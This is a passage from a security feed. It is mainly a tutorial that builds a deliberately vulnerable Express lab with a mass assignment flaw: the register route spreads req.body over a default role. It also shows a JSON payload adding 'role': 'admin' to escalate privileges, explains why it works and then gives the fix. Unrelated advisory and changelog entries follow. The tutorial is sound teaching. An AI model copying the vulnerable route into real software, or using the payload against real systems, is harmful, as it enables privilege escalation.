└── package-lock.json</pre><p>The lab we’re going to make is a Node/Express app, so make sure you have npm and node installed. If not, go to <a href="https://nodejs.org/en/download">nodejs</a> and you'll see something like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e4kKPu6Zj8dU13We0IkXVw.png"></figure><p>Just copy and paste it into your terminal and you’re good to go!</p><p>To start we’re going to make our folder ready for npm with the command npm init. This will create a package.json. After that we'll install some dependencies we're going to need for our application: express, nodemon, and better-sqlite3. You'll also see a package-lock.json appear after installing. Don't worry about that, that's normal.</p><pre>mkdir massAssignment<br>cd massAssignment<br>npm init<br>npm i express<br>npm i nodemon<br>npm i better-sqlite3</pre><p>After that, we’re gonna make some final adjustments to package.json before we go and start coding. We need to define what gets started when we give the command and where it's located. For this to work we need to make sure the properties main and scripts are well defined. Use nano or vim to update the contents of package.json. You can leave the defaults for all the rest of the properties.</p><pre>"main": "server.js",<br>  "scripts": {<br>    "start": "node server.js",<br>    "dev": "nodemon server.js"<br>  },</pre><p>To finish up our structure, all we need to do is create the files that will make up our website. We’ll need server.js, user.html, admin.html, login.html, and register.html.</p><pre>touch server.js user.html admin.html register.html login.html</pre><p>So now we have our lab skeleton and we’re almost ready to go and make a vulnerable app!</p><h3>Boilerplate Code</h3><p>Before we start implementing the vulnerable code, I’m gonna provide you with some boilerplate. Just copy and paste it in the correct files and then we’re gonna test if the application starts up. Once that works, we’ll dive into the fun part.</p><p><strong>server.js</strong></p><pre>const express = require('express');<br>const path = require('path');<br>const Database = require('better-sqlite3');<br>const app = express();<br>app.use(express.urlencoded({ extended: true }));<br>app.use(express.json());<br>const db = new Database(':memory:');<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY AUTOINCREMENT,<br>    username TEXT UNIQUE NOT NULL,<br>    password TEXT NOT NULL,<br>    role TEXT NOT NULL DEFAULT 'user',<br>    email TEXT UNIQUE NOT NULL,<br>    address TEXT UNIQUE NOT NULL,<br>    city TEXT NOT NULL,<br>    country TEXT NOT NULL,<br>    phone TEXT UNIQUE NOT NULL<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role, email, address, city, country, phone) VALUES (?, ?, ?, ?, ?, ?, ?, ?)").run('testAdmin', 'password', 'admin', 'admin@test.com', '123 Admin St', 'AdminCity', 'Belgium', '0000000000');<br>db.prepare("INSERT INTO users (username, password, role, email, address, city, country, phone) VALUES (?, ?, ?, ?, ?, ?, ?, ?)").run('testUser', 'password', 'user', 'user@test.com', '456 User Ave', 'UserCity', 'Belgium', '1111111111');<br>const parseCookies = (req) =&gt; {<br>  const cookies = {};<br>  const header = req.headers.cookie;<br>  if (header) {<br>    header.split(';').forEach(cookie =&gt; {<br>      const [key, value] = cookie.trim().split('=');<br>      cookies[key] = decodeURIComponent(value);<br>    });<br>  }<br>  return cookies;<br>};<br>const getCurrentUser = (req) =&gt; {<br>  const { username } = parseCookies(req);<br>  if (!username) return null;<br>  return db.prepare('SELECT * FROM users WHERE username = ?').get(username) || null;<br>};<br>app.get('/', (req, res) =&gt; {<br>  res.redirect('/login');<br>});<br>app.get('/register', (req, res) =&gt; {<br>  res.sendFile(path.join(__dirname, 'register.html'));<br>});<br>app.get('/login', (req, res) =&gt; {<br>  res.sendFile(path.join(__dirname, 'login.html'));<br>});<br>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>  if (!user) return res.status(401).send('Invalid credentials');<br>  res.cookie('username', username, { httpOnly: true });<br>  res.redirect(user.role === 'admin' ? '/admin' : '/user');<br>});<br>app.get('/user', (req, res) =&gt; {<br>  const user = getCurrentUser(req);<br>  if (!user) return res.redirect('/login');<br>  res.sendFile(path.join(__dirname, 'user.html'));<br>});<br>app.get('/admin', (req, res) =&gt; {<br>  const user = getCurrentUser(req);<br>  if (!user) return res.redirect('/login');<br>  if (user.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});<br>app.get('/api/users', (req, res) =&gt; {<br>  const users = db.prepare('SELECT username, role FROM users').all();<br>  res.json(users);<br>});<br>app.listen(3000, () =&gt; console.log('Server running on http://localhost:3000'));</pre><p><strong>user.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome User&lt;/h1&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome Admin&lt;/h1&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>register.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>  &lt;meta charset="UTF-8"&gt;<br>  &lt;title&gt;Register&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>  &lt;h1&gt;Register&lt;/h1&gt;<br>  &lt;form action="/register" method="POST"&gt;<br>    &lt;label&gt;Username&lt;br&gt;<br>      &lt;input type="text" name="username" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;label&gt;Password&lt;br&gt;<br>      &lt;input type="password" name="password" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;label&gt;Email&lt;br&gt;<br>      &lt;input type="email" name="email" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;label&gt;Address&lt;br&gt;<br>      &lt;input type="text" name="address" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;label&gt;City&lt;br&gt;<br>      &lt;input type="text" name="city" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;label&gt;Country&lt;br&gt;<br>      &lt;input type="text" name="country" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;label&gt;Phone Number&lt;br&gt;<br>      &lt;input type="tel" name="phone" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;button type="submit"&gt;Register&lt;/button&gt;<br>  &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>  &lt;meta charset="UTF-8"&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>  &lt;h1&gt;Login&lt;/h1&gt;<br>  &lt;form action="/login" method="POST"&gt;<br>    &lt;label&gt;Username&lt;br&gt;<br>      &lt;input type="text" name="username" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;label&gt;Password&lt;br&gt;<br>      &lt;input type="password" name="password" required&gt;<br>    &lt;/label&gt;&lt;br&gt;&lt;br&gt;<br>    &lt;button type="submit"&gt;Login&lt;/button&gt;<br>  &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>So now that we have all the right files in place, it’s time to start the server.</p><pre>cd mediumLabs/massAssignment<br>npm run dev</pre><p>You should see the output Server running on http://localhost:3000. And if you open your browser on the link you'll see the login form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*ZxxsAmjRidSRmjuB9NmGZg.png"></figure><p>Try logging in with the credentials testAdmin:password and testUser:password and verify that the correct page is rendered.</p><p>If that works, stop the server with CTRL-C.</p><h3>What Matters In This Code</h3><p>The HTML files are self explanatory, so I’m not going to walk through those. If you do have questions about them, don’t hesitate to reach out on <a href="https://www.linkedin.com/in/-kevin-t-">LinkedIn</a>. For server.js, I'm going to focus on two things that directly set up the vulnerability.</p><p><strong>1. The </strong><strong>role default</strong></p><p>Look at the table definition:</p><pre>role TEXT NOT NULL DEFAULT 'user',</pre><p>This means that if you insert a user without specifying a role, they automatically get user. Many developers think this alone is enough to prevent privilege escalation. It's not, but it does give a false sense of security. Keep this in mind.</p><p><strong>2. The access control on </strong><strong>/admin</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  const user = getCurrentUser(req);<br>  if (!user) return res.redirect('/login');<br>  if (user.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});</pre><p>This is actually correct. A normal user could log in and be redirected to /user, but nothing stops them from manually browsing to /admin. This check makes sure they get a 403 Forbidden if they try. The access control itself isn't the problem. The problem is what happens before a user ever reaches this point.</p><h3>Making The Mistake (Deliberately)</h3><p>If you looked through the boilerplate, you might have noticed that there isn’t a POST route for /register. You can load the registration form, but submitting it goes nowhere. Of course that's intentional, because that's where the vulnerability lives.</p><p>When registering a new user, our form needs a lot of fields. Username, password, email, address, city, country, phone. That’s a lot of properties to destructure one by one. And if you’re a developer who’s done this a hundred times, you know there’s a shortcut.</p><p>Enter the spread operator.</p><pre>app.post('/register', (req, res) =&gt; {<br>  const newUser = { role: 'user', ...req.body };<br>  db.prepare('INSERT INTO users (username, password, role, email, address, city, country, phone) VALUES (?, ?, ?, ?, ?, ?, ?, ?)').run(newUser.username, newUser.password, newUser.role, newUser.email, newUser.address, newUser.city, newUser.country, newUser.phone);<br>  res.redirect('/login');<br>});</pre><p>By using ...req.body, we can grab every field from the form without typing out each one individually. And we're being smart about it too. We hardcoded role: 'user' right there in the object. Between this and the DEFAULT 'user' in the database, we've now defined the default role in <strong>two</strong> separate places. Seems watertight.</p><p>Add this route to server.js, restart the server, and register a new user. Navigate to /api/users and you'll see the new user has role: user. Perfect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BZtR00hXrNrKggbDuosYhw.png"></figure><p>But what happens when we intercept that registration request and, just for fun, add a role parameter?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HpaZgGnOIJrWvt4QH9nKBg.png"></figure><p>Or skip the form entirely and send a JSON request straight from an API client like Burp or Postman:</p><pre>{<br>  "username": "registerUser2",<br>  "password": "password",<br>  "email": "user2@mail.com",<br>  "address": "address2",<br>  "city": "city2",<br>  "country": "country2",<br>  "phone": "phone2",<br>  "role": "admin"<br>}</pre><blockquote>I just added this because most modern apps expose a JSON API, not an HTML form. The vulnerability is the same either way.</blockquote><p>Whatever you send, turns out, those two safety measures aren’t so safe after all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*4-in00-T1LP8oxNNj2xTfw.png"></figure><p>We can verify this by logging in with the credentials registerUser2:password. Instead of the user page, we see the admin page. We just pulled off a mass assignment attack.</p><h3>Why It Works</h3><p>The key is in the spread order. When JavaScript sees { role: 'user', ...req.body }, it first sets role to 'user', and then spreads every property from req.body on top of it. If req.body contains its own role property, it overwrites the one we hardcoded. The last value wins.</p><p>The database default doesn’t help either, because we’re explicitly passing a role value in the INSERT statement. The DEFAULT only kicks in when you omit the column entirely.</p><p>So both safety nets fail for the same reason: the attacker-controlled value arrives last and takes priority.</p><h3>Fixing The Mistake</h3><p>A few things went wrong here, but luckily the fixes are simple.</p><p><strong>1. Don’t use the spread operator on user input.</strong> You don’t know what a user might throw at your backend. In this lab it led to mass assignment, but in other contexts it can introduce unexpected fields, break your logic, or cause crashes you didn’t plan for. Explicitly destructure only the fields you expect.</p><p><strong>2. Don’t include sensitive properties in user-facing endpoints.</strong> You don’t need to include role in the INSERT statement at all. Let the database default handle it. The only place you should set a role explicitly is in admin-only functionality that regular users can't reach.</p><p>Implementing both of these gives us:</p><pre>app.post('/register', (req, res) =&gt; {<br>  const { username, password, email, address, city, country, phone } = req.body;<br>  db.prepare('INSERT INTO users (username, password, email, address, city, country, phone) VALUES (?, ?, ?, ?, ?, ?, ?)').run(username, password, email, address, city, country, phone);<br>  res.redirect('/login');<br>});</pre><p>Explicitly tell what fields you need and only put those fields in your database. Sensitive properties like role should only appear in queries that aren't publicly accessible.</p><blockquote><strong><em>Note:</em></strong><em> The code in this lab is deliberately stripped down to focus on the vulnerability. There’s no error handling, no input validation, and passwords are stored in plaintext. Don’t copy the “fixed” version into production and call it a day. It’s secure against mass assignment, but it’s still a lab.</em></blockquote><p>That wraps up Part 1. You’ve got a working lab with a real vulnerability you can exploit and explain. In the next part, we’ll build a different vulnerability. If you have questions or want to connect, find me on <a href="https://www.linkedin.com/in/-kevin-t-">LinkedIn</a>.</p><p><em>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</em> More writeups, vulnerable labs, and pentesting war stories on <a href="https://blog.forgesec.be/">blog.forgesec.be</a>. Come say hi on <a href="https://www.linkedin.com/in/-kevin-t-">LinkedIn</a>, no exploits required!</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=30bcc5d30b0f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/create-a-mass-assignment-lab-with-me-30bcc5d30b0f">Create a Mass Assignment Lab With Me</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by Debian (ffmpeg, gsasl, nodejs, postgresql-15, postgresql-17, python3.9, and thunderbird), Fedora (expat, firefox, freerdp, GitPython, kernel, php, rust-podman-sequoia, rust-rpm-sequoia, rust-sequoia-chameleon-gnupg, rust-sequoia-git, rust-sequoia-keystore-serv...]]></description>
<link>https://tsecurity.de/de/3519855/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3519855/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 15 May 2026 15:23:14 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (ffmpeg, gsasl, nodejs, postgresql-15, postgresql-17, python3.9, and thunderbird), <b>Fedora</b> (expat, firefox, freerdp, GitPython, kernel, php, rust-podman-sequoia, rust-rpm-sequoia, rust-sequoia-chameleon-gnupg, rust-sequoia-git, rust-sequoia-keystore-server, rust-sequoia-octopus-librnp, rust-sequoia-openpgp, rust-sequoia-sop, rust-sequoia-sq, and rust-sequoia-sqv), <b>Mageia</b> (awstats, libreoffice, perl-HTTP-Tiny, and tomcat), <b>Oracle</b> (corosync, freerdp, gimp, git-lfs, glib2, jq, kernel, krb5, libsoup3, libtiff, openexr, thunderbird, uek-kernel, and yggdrasil), <b>Red Hat</b> (podman and skopeo), <b>SUSE</b> (amazon-ssm-agent, avahi, c-ares, cairo, containerd, cpp-httplib, dnsmasq, dovecot24, ffmpeg-4, firefox, helm, ImageMagick, iproute2, kernel, krb5, libtpms, ongres-scram, ongres-stringprep, plexus-testing, maven, maven-doxia, mojo-parent, sisu, openCryptoki, openssh, perl-Text-CSV_XS, php8, python-lxml, python-Twisted-doc, python311-click, python311-GitPython, rclone, regclient, and syncthing), and <b>Ubuntu</b> (avahi).]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Debian)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3518798/unix-server/security-mehrere-probleme-in-nodejs-debian/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3518798/unix-server/security-mehrere-probleme-in-nodejs-debian/</guid>
<pubDate>Fri, 15 May 2026 09:46:06 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[DSA-6272-1 nodejs - security update]]></title>
<description><![CDATA[Multiple vulnerabilities were discovered in Node.js, which could result
in denial of service or information disclosure.


https://security-tracker.debian.org/tracker/DSA-6272-1]]></description>
<link>https://tsecurity.de/de/3518125/unix-server/dsa-6272-1-nodejs-security-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3518125/unix-server/dsa-6272-1-nodejs-security-update/</guid>
<pubDate>Fri, 15 May 2026 02:00:52 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Multiple vulnerabilities were discovered in Node.js, which could result
in denial of service or information disclosure.

<p>
<a href="https://security-tracker.debian.org/tracker/DSA-6272-1">https://security-tracker.debian.org/tracker/DSA-6272-1</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-05-13, Version 22.22.3 'Jod' (LTS), @marco-ippolito]]></title>
<description><![CDATA[Commits

[4f780905c5] - crypto: fix potential null pointer dereference when BIO_meth_new() fails (Nora Dossche) #61788
[4a09efb947] - crypto: update root certificates to NSS 3.121 (Node.js GitHub Bot) #62485
[e4c0d99839] - deps: update timezone to 2026a (Node.js GitHub Bot) #62164
[0226c8dd7a] - ...]]></description>
<link>https://tsecurity.de/de/3514744/downloads/2026-05-13-version-22223-jod-lts-marco-ippolito/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3514744/downloads/2026-05-13-version-22223-jod-lts-marco-ippolito/</guid>
<pubDate>Wed, 13 May 2026 20:46:22 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/4f780905c5"><code>4f780905c5</code></a>] - <strong>crypto</strong>: fix potential null pointer dereference when BIO_meth_new() fails (Nora Dossche) <a href="https://github.com/nodejs/node/pull/61788" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61788/hovercard">#61788</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a09efb947"><code>4a09efb947</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.121 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62485" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62485/hovercard">#62485</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e4c0d99839"><code>e4c0d99839</code></a>] - <strong>deps</strong>: update timezone to 2026a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62164" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62164/hovercard">#62164</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0226c8dd7a"><code>0226c8dd7a</code></a>] - <strong>deps</strong>: update simdjson to 4.5.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62382" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62382/hovercard">#62382</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e742ab748c"><code>e742ab748c</code></a>] - <strong>deps</strong>: update sqlite to 3.51.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62256" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62256/hovercard">#62256</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/73cac0571a"><code>73cac0571a</code></a>] - <strong>deps</strong>: update amaro to 1.1.8 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62151" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62151/hovercard">#62151</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ae5c162b93"><code>ae5c162b93</code></a>] - <strong>deps</strong>: update amaro to 1.1.7 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61730" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61730/hovercard">#61730</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b819cb9977"><code>b819cb9977</code></a>] - <strong>deps</strong>: update amaro to 1.1.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61603" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61603/hovercard">#61603</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbcce09dc7"><code>bbcce09dc7</code></a>] - <strong>deps</strong>: update sqlite to 3.52.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62150" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62150/hovercard">#62150</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/22ff2d81ce"><code>22ff2d81ce</code></a>] - <strong>deps</strong>: update simdjson to 4.3.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61930" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61930/hovercard">#61930</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f49b51d75c"><code>f49b51d75c</code></a>] - <strong>deps</strong>: update acorn-walk to 8.3.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61928" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61928/hovercard">#61928</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1a5cec0d49"><code>1a5cec0d49</code></a>] - <strong>deps</strong>: update acorn to 8.16.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61925" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61925/hovercard">#61925</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d339497688"><code>d339497688</code></a>] - <strong>deps</strong>: update nbytes to 0.1.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61879" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61879/hovercard">#61879</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ff8ffd459"><code>3ff8ffd459</code></a>] - <strong>deps</strong>: remove stale OpenSSL arch configs (René) <a href="https://github.com/nodejs/node/pull/61834" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61834/hovercard">#61834</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b8ddbc1e9a"><code>b8ddbc1e9a</code></a>] - <strong>deps</strong>: update llhttp to 9.3.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61827" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61827/hovercard">#61827</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ffda97afd4"><code>ffda97afd4</code></a>] - <strong>deps</strong>: update googletest to 2461743991f9aa53e9a3625eafcbacd81a3c74cd (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62484" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62484/hovercard">#62484</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/79aa32cf4f"><code>79aa32cf4f</code></a>] - <strong>deps</strong>: update googletest to 73a63ea05dc8ca29ec1d2c1d66481dd0de1950f1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61927" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61927/hovercard">#61927</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6957e13b6"><code>b6957e13b6</code></a>] - <strong>deps</strong>: update archs files for openssl-3.5.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3a27669063"><code>3a27669063</code></a>] - <strong>deps</strong>: upgrade openssl sources to openssl-3.5.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d568a1bb53"><code>d568a1bb53</code></a>] - <strong>deps</strong>: upgrade npm to 10.9.8 (npm team) <a href="https://github.com/nodejs/node/pull/62463" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62463/hovercard">#62463</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec11f3c1d5"><code>ec11f3c1d5</code></a>] - <strong>deps</strong>: V8: backport 85b390089e51 (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08609712ed"><code>08609712ed</code></a>] - <strong>deps</strong>: V8: backport 1b27e4674f11 (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dcc60d5ab2"><code>dcc60d5ab2</code></a>] - <strong>deps</strong>: V8: backport 9997fc013952 (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1d1f4451fb"><code>1d1f4451fb</code></a>] - <strong>deps</strong>: V8: cherry-pick b96e40d5ac85 (Clemens Backes) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2268567237"><code>2268567237</code></a>] - <strong>deps</strong>: V8: cherry-pick 7cb6188cf913 (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92804cdbea"><code>92804cdbea</code></a>] - <strong>deps</strong>: V8: cherry-pick e7ccf0af1bdd (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eae2c27a40"><code>eae2c27a40</code></a>] - <strong>deps</strong>: V8: cherry-pick 8e214ec3ec8c (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a1799a49bb"><code>a1799a49bb</code></a>] - <strong>deps</strong>: V8: backport 63b8849d73ae (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a2df2d8731"><code>a2df2d8731</code></a>] - <strong>deps</strong>: V8: backport 323942700cfe (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e3d65c7dca"><code>e3d65c7dca</code></a>] - <strong>deps</strong>: V8: backport 89dc6eab605c (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e7db133de"><code>5e7db133de</code></a>] - <strong>deps</strong>: V8: backport 910cb91733dc (Jakob Kummerow) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0c24a28af"><code>d0c24a28af</code></a>] - <strong>deps</strong>: V8: cherry-pick b8f91e510e0f (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d358687824"><code>d358687824</code></a>] - <strong>deps</strong>: V8: cherry-pick cf03d55db2a0 (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67c8b2c349"><code>67c8b2c349</code></a>] - <strong>deps</strong>: V8: cherry-pick 692f3d526a38 (Sébastien Doeraene) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/71e5a59ffd"><code>71e5a59ffd</code></a>] - <strong>deps</strong>: V8: cherry-pick c734674e03f9 (Manos Koukoutos) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f0dbe81c7b"><code>f0dbe81c7b</code></a>] - <strong>deps</strong>: V8: cherry-pick b2f3aea23a01 (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d333f480c3"><code>d333f480c3</code></a>] - <strong>deps</strong>: V8: cherry-pick 5f1342c20b59 (Matthias Liedtke) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
